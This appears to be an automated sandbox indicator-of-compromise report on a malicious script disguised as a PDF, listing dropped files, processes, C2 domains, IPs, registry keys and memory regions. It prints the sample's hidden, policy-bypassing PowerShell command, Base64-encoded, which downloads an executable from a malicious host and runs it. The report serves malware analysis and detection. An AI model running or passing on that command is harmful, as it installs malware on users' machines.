IOC Report
3312.PDF.wsf

loading gif

Files

File Path
Type
Category
Malicious
3312.PDF.wsf
Unicode text, UTF-8 text, with very long lines (1251), with CRLF line terminators
initial sample
malicious
C:\Users\user\AppData\Local\Temp\oBuf.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
malicious
C:\Users\user\AppData\Roaming\wbfgshs
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gosykqu.mc1.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdqwmafj.ska.psm1
ASCII text, with no line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf"
malicious
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
malicious
C:\Users\user\AppData\Local\Temp\oBuf.exe
"C:\Users\user\AppData\Local\Temp\oBuf.exe"
malicious
C:\Windows\explorer.exe
C:\Windows\Explorer.EXE
malicious
C:\Users\user\AppData\Roaming\wbfgshs
C:\Users\user\AppData\Roaming\wbfgshs
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
http://openclehardware.ru/index.php
malicious
http://ceoconstractionstore.pl/
unknown
malicious
http://bestmagazineforanimalsunicum.ru/download/svc.exe
193.46.217.78
malicious
http://ceoconstractionstore.pl/index.php
malicious
http://informcoopirationunicolceo.ru/index.php
malicious
https://api.msn.com/v1/news/Feed/Windows?
unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
unknown
https://wns.windows.com/bat
unknown
https://www.msn.com/en-us/health/wellness/7-secrets-to-a-happy-old-age-backed-by-science/ss-AA1hwpvW
unknown
https://api.msn.com:443/v1/news/Feed/Windows?
unknown
https://contoso.com/License
unknown
http://biegpmdfbwuaocv.org/
unknown
https://www.msn.com/en-us/news/politics/california-workers-will-get-five-sick-days-instead-of-three-
unknown
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
unknown
http://schemas.micro
unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
unknown
https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-
unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppin
unknown
https://www.msn.com/en-us/money/companies/legacy-park-auction-canceled-liquidation-proposed-here-s-w
unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://powerpoint.office.comcemberZ
unknown
http://xcltdjfoaardilo.net/
unknown
http://ceoconstractionstore.pl/index.phpq
unknown
https://api.msn.com/X
unknown
https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
unknown
https://outlook.comNaP0B
unknown
http://www.autoitscript.com/autoit3/J
unknown
http://nuget.org/NuGet.exe
unknown
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
unknown
http://pesterbdd.com/images/Pester.png
unknown
https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years
unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
unknown
https://go.micro
unknown
http://nqgjgifqepqt.com/application/x-www-form-urlencodedMozilla/5.0
unknown
https://contoso.com/Icon
unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
unknown
http://biegpmdfbwuaocv.org/hpup
unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=C2BB6DDCE8D847D6B779FE8AEC27D161&timeOut=5000&oc
unknown
https://word.office.com576
unknown
http://ebsdyhoseklppw.com/
unknown
https://github.com/Pester/Pester
unknown
https://www.msn.com/en-us/news/opinion/decline-of-decorum-21-essential-manners-today-s-parents-fail-
unknown
http://bestmagazineforanimalsunicum.ru
unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
unknown
http://crl.m
unknown
http://dneagbdmtkktop.org/
unknown
https://excel.office.comE
unknown
http://nqgjgifqepqt.com/
unknown
https://android.notify.windows.com/iOS
unknown
https://www.msn.com/en-us/news/crime/one-dead-several-wounded-after-drive-by-shootings-in-south-la/a
unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
unknown
http://ceoconstractionstore.pl/index.php2
unknown
https://aka.ms/pscore68
unknown
http://ebsdyhoseklppw.com/application/x-www-form-urlencodedMozilla/5.0
unknown
http://crl.v
unknown
https://api.msn.com/$
unknown
https://www.msn.com:443/en-us/feed
unknown
http://dneagbdmtkktop.org/Si
unknown
There are 55 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
bestmagazineforanimalsunicum.ru
193.46.217.78
malicious
ceoconstractionstore.pl
188.40.141.211
malicious
unicexpertmagazine.pw
193.46.217.78
malicious

IPs

IP
Domain
Country
Malicious
188.40.141.211
ceoconstractionstore.pl
Germany
malicious
193.46.217.78
bestmagazineforanimalsunicum.ru
Spain
malicious

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
{33154C99-BF49-443D-A73C-303A23ABBE97} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
Classes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
~reserved~
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Security and Maintenance\Checks\{E8433B72-5842-4d43-8645-BC2C35960837}.check.102
CheckSetting
There are 38 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
8821000
system
page execute read
malicious
6B0000
direct allocation
page read and write
malicious
6D1000
unclassified section
page read and write
malicious
2181000
unclassified section
page read and write
malicious
7C0000
direct allocation
page read and write
malicious
B21000
system
page execute read
malicious
22DA86BC000
heap
page read and write
7FF7C1390000
trusted library allocation
page execute and read and write
23D0000
heap
page read and write
8160000
unkown
page read and write
22DA8674000
heap
page read and write
22DA86DC000
heap
page read and write
8470000
unkown
page read and write
458F77E000
stack
page read and write
7FF530660000
unkown
page readonly
22DA68C6000
heap
page read and write
4400000
unkown
page read and write
7FF530678000
unkown
page readonly
22DA8695000
heap
page read and write
7FF53086D000
unkown
page readonly
22DA67C0000
heap
page read and write
7FF5309AC000
unkown
page readonly
94A3000
unkown
page read and write
7FF5302AA000
unkown
page readonly
23BF6D50000
heap
page read and write
7FF530871000
unkown
page readonly
8470000
unkown
page read and write
78CB000
stack
page read and write
D46D000
unkown
page read and write
22DA879C000
heap
page read and write
8730000
unkown
page read and write
7FF53068B000
unkown
page readonly
6F7E000
unkown
page read and write
D2ED000
unkown
page read and write
7B00000
unkown
page read and write
8730000
unkown
page read and write
D899000
stack
page read and write
9D2D000
unkown
page read and write
7FF5303DD000
unkown
page readonly
B40000
unkown
page read and write
95A3000
unkown
page read and write
64E000
stack
page read and write
22DA86DA000
heap
page read and write
9A1F000
stack
page read and write
7390000
unkown
page read and write
A4E6000
unkown
page read and write
8160000
unkown
page read and write
B40000
unkown
page read and write
B5B0000
unkown
page read and write
7FF530849000
unkown
page readonly
7FF530454000
unkown
page readonly
D173000
unkown
page read and write
94B7000
unkown
page read and write
D360000
unkown
page read and write
A483000
unkown
page read and write
B40000
unkown
page read and write
7FF530910000
unkown
page readonly
8730000
unkown
page read and write
22DA8801000
heap
page read and write
8470000
unkown
page read and write
7FF530410000
unkown
page readonly
B130000
unkown
page read and write
E981000
unkown
page read and write
7FF530486000
unkown
page readonly
22DA87DA000
heap
page read and write
22DA87B4000
heap
page read and write
22DA866E000
heap
page read and write
8470000
unkown
page read and write
7FF53057E000
unkown
page readonly
A47C000
unkown
page read and write
8730000
unkown
page read and write
22DA68B5000
heap
page read and write
22DA876E000
heap
page read and write
D167000
unkown
page read and write
7FF530483000
unkown
page readonly
22DA86D4000
heap
page read and write
458EF9E000
stack
page read and write
7FF5309B9000
unkown
page readonly
22DA87B7000
heap
page read and write
7A30000
unkown
page read and write
AF30000
unkown
page read and write
7380000
unkown
page read and write
AEB000
stack
page read and write
4328000
unkown
page read and write
B40000
unkown
page read and write
7FF530A1C000
unkown
page readonly
7FF5309B1000
unkown
page readonly
B110000
unkown
page readonly
7FF5304BF000
unkown
page readonly
9C9D000
stack
page read and write
7ED000
heap
page execute and read and write
1F0000
heap
page read and write
4460000
unkown
page read and write
7FF53087E000
unkown
page readonly
7FF530673000
unkown
page readonly
B150000
unkown
page read and write
B40000
unkown
page read and write
8160000
unkown
page read and write
8470000
unkown
page read and write
23BDCCD6000
heap
page read and write
3025000
unkown
page read and write
CFA0000
unkown
page read and write
D167000
unkown
page read and write
8160000
unkown
page read and write
8730000
unkown
page read and write
7C40000
unkown
page read and write
3014000
unkown
page read and write
B5E0000
heap
page read and write
7FF530665000
unkown
page readonly
3018000
unkown
page read and write
A480000
unkown
page read and write
22DA68D3000
heap
page read and write
23BDFDE5000
trusted library allocation
page read and write
D61B000
unkown
page read and write
8730000
unkown
page read and write
7FF7C1500000
trusted library allocation
page read and write
B2EC000
stack
page read and write
7FF5302B2000
unkown
page readonly
90D000
heap
page execute and read and write
8730000
unkown
page read and write
7FF5307E8000
unkown
page readonly
7FF53075A000
unkown
page readonly
22DA68C6000
heap
page read and write
22DA86D4000
heap
page read and write
D2C4000
unkown
page read and write
7FF530A11000
unkown
page readonly
7FF53027A000
unkown
page readonly
7FF530991000
unkown
page readonly
8730000
unkown
page read and write
CE5000
heap
page read and write
22DA863B000
heap
page read and write
22DA8689000
heap
page read and write
8160000
unkown
page read and write
8E7A000
stack
page read and write
22DA8912000
heap
page read and write
7FF530491000
unkown
page readonly
2490000
unkown
page read and write
8470000
unkown
page read and write
7FF530297000
unkown
page readonly
CFB0000
unkown
page read and write
D167000
unkown
page read and write
851F000
stack
page read and write
7FF5308CC000
unkown
page readonly
3035000
unkown
page read and write
664000
heap
page read and write
8470000
unkown
page read and write
7FF530665000
unkown
page readonly
22DA877F000
heap
page read and write
D167000
unkown
page read and write
8A90000
unkown
page read and write
7FF5304AA000
unkown
page readonly
7FF53094D000
unkown
page readonly
22DA8691000
heap
page read and write
7FF530676000
unkown
page readonly
A4DA000
unkown
page read and write
7FF530521000
unkown
page readonly
4450000
unkown
page read and write
22DA8635000
heap
page read and write
B40000
unkown
page read and write
A9F0000
unkown
page readonly
23BEEAA0000
trusted library allocation
page read and write
B40000
unkown
page read and write
9E8F000
unkown
page read and write
DAAE000
stack
page read and write
22DA8637000
heap
page read and write
8160000
unkown
page read and write
7FF530884000
unkown
page readonly
22DA8731000
heap
page read and write
7FF527CA5000
unkown
page readonly
22DA879C000
heap
page read and write
8730000
unkown
page read and write
8730000
unkown
page read and write
8730000
unkown
page read and write
8470000
unkown
page read and write
AF0000
unkown
page read and write
94B3000
unkown
page read and write
8730000
unkown
page read and write
706D8FE000
stack
page read and write
8730000
unkown
page read and write
22DA868B000
heap
page read and write
78D0000
unkown
page readonly
B2EC000
stack
page read and write
43F3000
unkown
page read and write
7FF53081D000
unkown
page readonly
94CA000
unkown
page read and write
B40000
unkown
page read and write
D2B8000
unkown
page read and write
7FF5304A0000
unkown
page readonly
8160000
unkown
page read and write
7FF530905000
unkown
page readonly
22DA8940000
heap
page read and write
23BF6DAC000
heap
page read and write
94B9000
unkown
page read and write
8730000
unkown
page read and write
706DEFF000
stack
page read and write
78F0000
unkown
page readonly
D2C8000
unkown
page read and write
8730000
unkown
page read and write
458F579000
stack
page read and write
6F69000
unkown
page read and write
8140000
unkown
page read and write
B5D0000
unkown
page read and write
8730000
unkown
page read and write
7FF53033D000
unkown
page readonly
22DA87AD000
heap
page read and write
302D000
unkown
page read and write
22DA87AD000
heap
page read and write
22DA87AF000
heap
page read and write
7FF530A81000
unkown
page readonly
7FF5304D3000
unkown
page readonly
7450000
unkown
page readonly
880000
heap
page read and write
B40000
unkown
page read and write
94A1000
unkown
page read and write
CF20000
unkown
page read and write
43FC000
unkown
page read and write
B40000
unkown
page read and write
8470000
unkown
page read and write
8470000
unkown
page read and write
433B000
unkown
page read and write
7FF7C1560000
trusted library allocation
page read and write
22DA87BE000
heap
page read and write
6D90000
unkown
page read and write
7FF530946000
unkown
page readonly
419000
unkown
page readonly
29D8000
stack
page read and write
8810000
unkown
page read and write
B40000
unkown
page read and write
23BDCB10000
heap
page read and write
7FF530985000
unkown
page readonly
7FF53068E000
unkown
page readonly
2490000
unkown
page read and write
458F47D000
stack
page read and write
7BBD000
stack
page read and write
8470000
unkown
page read and write
8730000
unkown
page read and write
B40000
unkown
page read and write
D5DB000
unkown
page read and write
458F3FE000
stack
page read and write
7FF5303DB000
unkown
page readonly
23BDCDC0000
trusted library allocation
page read and write
22DA86BC000
heap
page read and write
22DA8697000
heap
page read and write
D63A000
unkown
page read and write
B5C0000
unkown
page readonly
7FF530435000
unkown
page readonly
B40000
unkown
page read and write
22DA68A5000
heap
page read and write
7FF5309A1000
unkown
page readonly
9E21000
unkown
page read and write
D5B6000
unkown
page read and write
40B000
unkown
page execute read
D2C8000
unkown
page read and write
B40000
unkown
page read and write
22DA687F000
heap
page read and write
8730000
unkown
page read and write
7FF5308F3000
unkown
page readonly
22DA878E000
heap
page read and write
22DA8687000
heap
page read and write
B40000
unkown
page read and write
7DF44D860000
unkown
page readonly
9E2B000
unkown
page read and write
2AD9000
stack
page read and write
4356000
unkown
page read and write
8730000
unkown
page read and write
22DA68D3000
heap
page read and write
7FF7C1274000
trusted library allocation
page read and write
8730000
unkown
page read and write
22DA8954000
heap
page read and write
23BDCE30000
heap
page read and write
876000
stack
page read and write
D2AE000
unkown
page read and write
B40000
unkown
page read and write
7FF5308B8000
unkown
page readonly
7FF5308CC000
unkown
page readonly
7FF530952000
unkown
page readonly
23BE05FC000
trusted library allocation
page read and write
7FF5301F8000
unkown
page readonly
D99A000
stack
page read and write
22DA82C0000
heap
page read and write
22DA68DF000
heap
page read and write
8470000
unkown
page read and write
2FEA000
unkown
page read and write
41C000
unkown
page read and write
22DA68A5000
heap
page read and write
22DA868D000
heap
page read and write
B5A0000
unkown
page read and write
8640000
unkown
page read and write
6F6D000
unkown
page read and write
23BDCB70000
heap
page read and write
3037000
unkown
page read and write
2490000
unkown
page read and write
22DA87A9000
heap
page read and write
8160000
unkown
page read and write
8160000
unkown
page read and write
E985000
unkown
page read and write
7FF5309A1000
unkown
page readonly
79C1000
unkown
page read and write
8160000
unkown
page read and write
B110000
unkown
page readonly
7FF5304B8000
unkown
page readonly
9CA0000
unkown
page read and write
8470000
unkown
page read and write
A4D3000
unkown
page read and write
B5D0000
unkown
page read and write
D432000
unkown
page read and write
23BF6B4B000
heap
page read and write
8470000
unkown
page read and write
A420000
unkown
page read and write
8140000
unkown
page read and write
7FF53050B000
unkown
page readonly
4C80000
unkown
page write copy
B40000
unkown
page read and write
7FF530897000
unkown
page readonly
7DF44D881000
unkown
page execute read
22DA8700000
heap
page read and write
22DA895C000
heap
page read and write
9581000
unkown
page read and write
8A90000
unkown
page read and write
660000
heap
page read and write
8730000
unkown
page read and write
B40000
unkown
page read and write
22DA68D3000
heap
page read and write
7FF53080D000
unkown
page readonly
7FF5309D3000
unkown
page readonly
7FF530815000
unkown
page readonly
B40000
unkown
page read and write
22DA868D000
heap
page read and write
305D000
unkown
page read and write
23BDCC7D000
heap
page read and write
980E000
stack
page read and write
D2B0000
unkown
page read and write
E984000
unkown
page read and write
22DA68BF000
heap
page read and write
B40000
unkown
page read and write
DD2F000
stack
page read and write
E982000
unkown
page read and write
94C2000
unkown
page read and write
7FF530897000
unkown
page readonly
10194000
unkown
page read and write
AE20000
unkown
page read and write
8730000
unkown
page read and write
8E80000
unkown
page readonly
8730000
unkown
page read and write
B40000
unkown
page read and write
2E09000
stack
page read and write
3031000
unkown
page read and write
CFA6000
unkown
page read and write
7FF7C1356000
trusted library allocation
page execute and read and write
43CC000
unkown
page read and write
7FF530A05000
unkown
page readonly
B40000
unkown
page read and write
7FF530743000
unkown
page readonly
7FF530A4F000
unkown
page readonly
7FF52FDD7000
unkown
page readonly
7DE000
heap
page read and write
8640000
unkown
page read and write
9D29000
unkown
page read and write
D1B6000
unkown
page read and write
8F0000
heap
page read and write
9089000
stack
page read and write
22DA86CF000
heap
page read and write
9492000
unkown
page read and write
87D6000
unkown
page read and write
22DA87F5000
heap
page read and write
22DA8689000
heap
page read and write
7FF5303FF000
unkown
page readonly
7087000
unkown
page read and write
7A00000
unkown
page read and write
9E2D000
unkown
page read and write
EC7A000
heap
page read and write
7FF530410000
unkown
page readonly
8160000
stack
page read and write
9CA0000
unkown
page read and write
8470000
unkown
page read and write
8CF9000
stack
page read and write
8730000
unkown
page read and write
7FF53087E000
unkown
page readonly
7FF5301FD000
unkown
page readonly
23BF6B5B000
heap
page read and write
7FF530491000
unkown
page readonly
9497000
unkown
page read and write
D47A000
unkown
page read and write
B0C0000
unkown
page readonly
22DA8710000
heap
page read and write
A48E000
unkown
page read and write
309C000
unkown
page read and write
6DB0000
unkown
page read and write
3033000
unkown
page read and write
7FF530833000
unkown
page readonly
458F8FF000
stack
page read and write
22DA6874000
heap
page read and write
7FF7C1430000
trusted library allocation
page execute and read and write
2D40000
unkown
page read and write
22DA8968000
heap
page read and write
CC0000
unkown
page read and write
7FF5303A0000
unkown
page readonly
8730000
unkown
page read and write
8A90000
unkown
page read and write
309E000
unkown
page read and write
7FF530822000
unkown
page readonly
2490000
unkown
page read and write
D11A000
unkown
page read and write
7FF530536000
unkown
page readonly
B5E0000
heap
page read and write
9499000
unkown
page read and write
9E3A000
unkown
page read and write
459034E000
stack
page read and write
D198000
unkown
page read and write
8730000
unkown
page read and write
22DA8772000
heap
page read and write
8730000
unkown
page read and write
7FF5307FE000
unkown
page readonly
8730000
unkown
page read and write
D919000
stack
page read and write
5F0000
unkown
page readonly
2490000
unkown
page read and write
94DC000
unkown
page read and write
A480000
unkown
page read and write
CE0000
heap
page read and write
D432000
unkown
page read and write
8730000
unkown
page read and write
8470000
unkown
page read and write
D173000
unkown
page read and write
7FF53076E000
unkown
page readonly
D36B000
unkown
page read and write
22DA86D6000
heap
page read and write
600000
heap
page read and write
515000
unkown
page readonly
8A90000
unkown
page read and write
8730000
unkown
page read and write
7849000
stack
page read and write
7FF530536000
unkown
page readonly
22DA8726000
heap
page read and write
93B4000
unkown
page read and write
A4E6000
unkown
page read and write
9B1E000
stack
page read and write
E9B3000
unkown
page read and write
D36B000
unkown
page read and write
6F69000
unkown
page read and write
9495000
unkown
page read and write
4400000
unkown
page read and write
22DA8695000
heap
page read and write
22DA866E000
heap
page read and write
C01000
unkown
page readonly
22DA8755000
heap
page read and write
8470000
unkown
page read and write
2FEA000
unkown
page read and write
7DF44D860000
unkown
page readonly
8730000
unkown
page read and write
7FF530A02000
unkown
page readonly
22DA8799000
heap
page read and write
22DA68A1000
heap
page read and write
C50000
unkown
page readonly
CF0000
unkown
page readonly
22DA878A000
heap
page read and write
22DA68A5000
heap
page read and write
7FF5308D1000
unkown
page readonly
7FF5307FE000
unkown
page readonly
7370000
unkown
page read and write
300C000
unkown
page read and write
7FF5303E0000
unkown
page readonly
8790000
unkown
page read and write
22DA68C6000
heap
page read and write
22DA8689000
heap
page read and write
6D85000
stack
page read and write
22DA86DA000
heap
page read and write
D5AF000
unkown
page read and write
8730000
unkown
page read and write
7FF53080F000
unkown
page readonly
7FF530676000
unkown
page readonly
7FF530708000
unkown
page readonly
7509000
stack
page read and write
7FF5309F0000
unkown
page readonly
94B7000
unkown
page read and write
A4D3000
unkown
page read and write
3021000
unkown
page read and write
7FF5303E8000
unkown
page readonly
7FF53066D000
unkown
page readonly
2490000
unkown
page read and write
22DA86D1000
heap
page read and write
4DC9000
unkown
page read and write
515000
unkown
page readonly
D432000
unkown
page read and write
22DA68AD000
heap
page read and write
7FF530695000
unkown
page readonly
7FF530989000
unkown
page readonly
AF40000
unkown
page read and write
A484000
unkown
page read and write
7FF530289000
unkown
page readonly
7FF53029F000
unkown
page readonly
706D7FE000
stack
page read and write
D15B000
unkown
page read and write
9B80000
unkown
page read and write
22DA8935000
heap
page read and write
D360000
unkown
page read and write
41C000
unkown
page read and write
4C80000
unkown
page write copy
309A000
unkown
page read and write
D3FD000
unkown
page read and write
419000
unkown
page readonly
22DA877E000
heap
page read and write
7FF530A02000
unkown
page readonly
8730000
unkown
page read and write
8160000
unkown
page read and write
8DE000
heap
page read and write
947E000
unkown
page read and write
23BDCE35000
heap
page read and write
22DA87B2000
heap
page read and write
2BF0000
unkown
page readonly
D46D000
unkown
page read and write
22DA8792000
heap
page read and write
B0F0000
unkown
page read and write
7FF5308B8000
unkown
page readonly
22DA8799000
heap
page read and write
D48C000
unkown
page read and write
22DA8693000
heap
page read and write
D2C4000
unkown
page read and write
E98D000
unkown
page read and write
6F60000
unkown
page read and write
8730000
unkown
page read and write
7FF5304E6000
unkown
page readonly
7FF5308D3000
unkown
page readonly
6F60000
unkown
page read and write
B0BA000
stack
page read and write
22DA8611000
heap
page read and write
7FF5308C5000
unkown
page readonly
10194000
unkown
